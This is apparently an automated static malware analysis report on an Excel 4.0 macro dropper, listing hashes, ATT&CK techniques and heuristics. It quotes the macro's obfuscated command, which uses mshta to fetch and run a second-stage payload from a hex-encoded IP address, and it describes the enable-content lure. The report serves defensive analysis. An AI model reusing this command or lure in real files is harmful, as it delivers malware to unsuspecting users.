Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 5099b37b406e9191…

MALICIOUS

Office (OLE) / .XLS

64.7 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: caaa09f9d18919f5efa24eba2af8b409 SHA-1: 8c6b766a5c8ea9c79ef8260d6eba688841c9a746 SHA-256: 5099b37b406e9191a1dfa95deb6b0808bc5a7ed7effd5049a90697a26008eaa8
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: User Execution: Malicious Macro T1059.003 Command and Scripting Interpreter: Windows Command Shell

The sample is an Excel 4.0 macro-enabled spreadsheet that contains an Auto_Open macro. The document body explicitly instructs the user to 'Enable Editing' and 'Enable Content' to view the content, which is a common lure. The extracted XLM macro defines a string 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/c.html' and assigns it to the name 'lll'. This command attempts to download a file from the specified URL. The macro also contains a reference to 'http://0xc12a24f5/cc.html', likely a secondary download URL. The script's intent is to download and execute a second-stage payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes